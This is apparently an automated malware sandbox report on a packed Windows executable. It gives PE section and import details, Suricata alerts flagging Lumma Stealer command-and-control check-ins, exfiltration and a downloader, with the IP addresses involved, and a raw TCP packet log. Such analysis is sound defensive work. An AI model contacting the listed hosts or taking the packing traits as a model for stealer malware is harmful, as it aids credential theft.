Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x5705c	0x70	.idata
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x0	0x0
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x571f8	0x8	.idata
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x55000	0x25e00	50f6f4821719dabc4ce1e2d90a3b0a8e	False	0.9973958333333334	data	7.96915631471483	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x56000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x57000	0x1000	0x200	b32b7c4ad821f82288405a0d11e75f2f	False	0.15625	data	1.1076713340399604	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x58000	0x2a0000	0x200	f07167cd436acb248f211f9a4887c324	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
ffvhfheu	0x2f8000	0x19c000	0x19b800	8211fbd7556b39ae22d3402e717a582e	False	0.9945565243393074	data	7.951877259102433	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
vhlwdbpf	0x494000	0x1000	0x400	b13aa8269356c4fbc40d28ceaaecde88	False	0.7919921875	data	6.232154990955183	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x495000	0x3000	0x2200	d2cecf04edefa4c90c6896da2b085220	False	0.064453125	DOS executable (COM)	0.6928454577461943	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-20T08:12:22.010172+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49737	188.114.97.3	443	TCP
2024-11-20T08:12:22.470414+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.6	49737	188.114.97.3	443	TCP
2024-11-20T08:12:22.470414+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49737	188.114.97.3	443	TCP
2024-11-20T08:12:22.988404+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-20T08:12:23.435147+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-20T08:12:23.435147+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49743	188.114.97.3	443	TCP
2024-11-20T08:12:24.181528+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49754	188.114.97.3	443	TCP
2024-11-20T08:12:25.496357+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49760	188.114.97.3	443	TCP
2024-11-20T08:12:26.101370+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.6	49760	188.114.97.3	443	TCP
2024-11-20T08:12:26.786866+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49771	188.114.97.3	443	TCP
2024-11-20T08:12:28.359122+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49782	188.114.97.3	443	TCP
2024-11-20T08:12:30.938629+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49798	188.114.97.3	443	TCP
2024-11-20T08:12:34.635948+0100	2028371	ET JA3 Hash - Possible Malware - Fake Firefox Font Update	3	192.168.2.6	49824	188.114.97.3	443	TCP
2024-11-20T08:12:35.210409+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.6	49824	188.114.97.3	443	TCP
2024-11-20T08:12:35.927709+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.6	49833	185.215.113.16	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 20, 2024 08:12:13.087996960 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:13.088047028 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:13.088129044 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:13.088675976 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:13.088689089 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:13.902564049 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:13.902726889 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:13.908262968 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:13.908288956 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:13.908586979 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:13.921034098 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:13.921106100 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:13.921119928 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:13.936208963 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:13.983344078 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:14.099915981 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:14.100003004 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:14.100086927 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:14.100280046 CET	49709	443	192.168.2.6	40.113.103.199
Nov 20, 2024 08:12:14.100300074 CET	443	49709	40.113.103.199	192.168.2.6
Nov 20, 2024 08:12:16.732536077 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:16.732582092 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:16.732677937 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:16.733026981 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:16.733038902 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.376863003 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.376933098 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.380260944 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.380291939 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.380595922 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.392352104 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.435338974 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.492757082 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.492786884 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.492803097 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.492949009 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.492990971 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.493522882 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.596489906 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.596517086 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.596868038 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.596903086 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.597018003 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.602341890 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.602361917 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.602446079 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.602469921 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.602576971 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.682331085 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.682360888 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.683058023 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.683079958 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.683351040 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.683746099 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.683765888 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.683964968 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.683974028 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.684076071 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.686011076 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.686033964 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.686084986 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.686105013 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.686145067 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.686145067 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.689357996 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.689384937 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.689501047 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.689512014 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.689583063 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.768982887 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.769018888 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.769119024 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.769141912 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.769201994 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.769201994 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.770694971 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.770719051 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.770827055 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.770827055 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.770838976 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.770915985 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.772453070 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.772476912 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.772516966 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.772525072 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.772555113 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.772644997 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.774291039 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.774313927 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.774390936 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.774400949 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.774456024 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.776156902 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.776180983 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.776237011 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.776245117 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.776278019 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.776303053 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.777803898 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.777826071 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.777909994 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.777931929 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.778019905 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.778506041 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.778585911 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.778637886 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.778637886 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.779136896 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.779136896 CET	49710	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.779158115 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.779165983 CET	443	49710	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.819701910 CET	49711	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.819807053 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.819900036 CET	49711	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.821999073 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.822036028 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.822103977 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.823718071 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.823776960 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.823832035 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.824872971 CET	49714	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.824898005 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.824955940 CET	49714	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.825742006 CET	49714	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.825757980 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.825870037 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.825891018 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.825910091 CET	49711	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.825937986 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.825978041 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.825982094 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.825992107 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.826180935 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.826180935 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:17.826196909 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.826208115 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:17.976800919 CET	49674	443	192.168.2.6	173.222.162.64
Nov 20, 2024 08:12:17.976816893 CET	49673	443	192.168.2.6	173.222.162.64
Nov 20, 2024 08:12:18.304915905 CET	49672	443	192.168.2.6	173.222.162.64
Nov 20, 2024 08:12:18.465992928 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.466579914 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.466604948 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.466829062 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.467329025 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.467340946 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.467703104 CET	49714	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.467732906 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.468339920 CET	49714	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.468348980 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.476675034 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.477447987 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.477459908 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.477919102 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.477924109 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.489300966 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.489795923 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.489820004 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.490232944 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.490240097 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.501554966 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.502096891 CET	49711	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.502123117 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.502526045 CET	49711	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.502533913 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.565291882 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.565318108 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.565437078 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.565450907 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.565516949 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.565643072 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.565670967 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.565690994 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.565690994 CET	49713	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.565712929 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.565725088 CET	443	49713	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.568649054 CET	49716	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.568701029 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.568825006 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.568878889 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.568900108 CET	49716	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.568931103 CET	49714	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.569034100 CET	49716	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.569046974 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.569109917 CET	49714	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.569128036 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.569139004 CET	49714	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.569144964 CET	443	49714	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.571182013 CET	49717	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.571239948 CET	443	49717	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.571440935 CET	49717	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.571440935 CET	49717	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.571484089 CET	443	49717	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.578808069 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.578839064 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.578913927 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.578922033 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.578938007 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.578990936 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.578990936 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.579168081 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.579181910 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.579293013 CET	49715	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.579298019 CET	443	49715	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.581331015 CET	49718	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.581357956 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.581466913 CET	49718	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.581584930 CET	49718	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.581595898 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.593019962 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.593045950 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.593090057 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.593116999 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.593154907 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.593373060 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.593389034 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.593399048 CET	49712	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.593404055 CET	443	49712	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.596946955 CET	49719	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.596992016 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.597275972 CET	49719	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.597275972 CET	49719	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.597327948 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.615382910 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.615469933 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.616993904 CET	49711	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.617038012 CET	49711	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.617058992 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.617074013 CET	49711	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.617083073 CET	443	49711	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.619760990 CET	49720	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.619803905 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:18.621007919 CET	49720	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.621182919 CET	49720	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:18.621193886 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.203613043 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.204040051 CET	49716	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.204056978 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.204497099 CET	49716	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.204502106 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.230202913 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.230650902 CET	49718	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.230659962 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.231137037 CET	49718	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.231142044 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.233594894 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.234401941 CET	49719	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.234401941 CET	49719	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.234419107 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.234435081 CET	443	49719	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.244132042 CET	443	49717	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.244467974 CET	49717	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.244492054 CET	443	49717	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.244887114 CET	49717	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.244896889 CET	443	49717	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.252392054 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.252698898 CET	49720	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.252721071 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.253127098 CET	49720	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.253132105 CET	443	49720	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.305905104 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.305962086 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.306011915 CET	49716	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.306197882 CET	49716	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.306222916 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.306241035 CET	49716	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.306251049 CET	443	49716	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.308840036 CET	49721	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.308880091 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.308944941 CET	49721	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.309104919 CET	49721	443	192.168.2.6	13.107.246.42
Nov 20, 2024 08:12:19.309115887 CET	443	49721	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.333072901 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.333153009 CET	443	49718	13.107.246.42	192.168.2.6
Nov 20, 2024 08:12:19.333220959 CET	49718	443	192.168.2.6	13.107.246.42
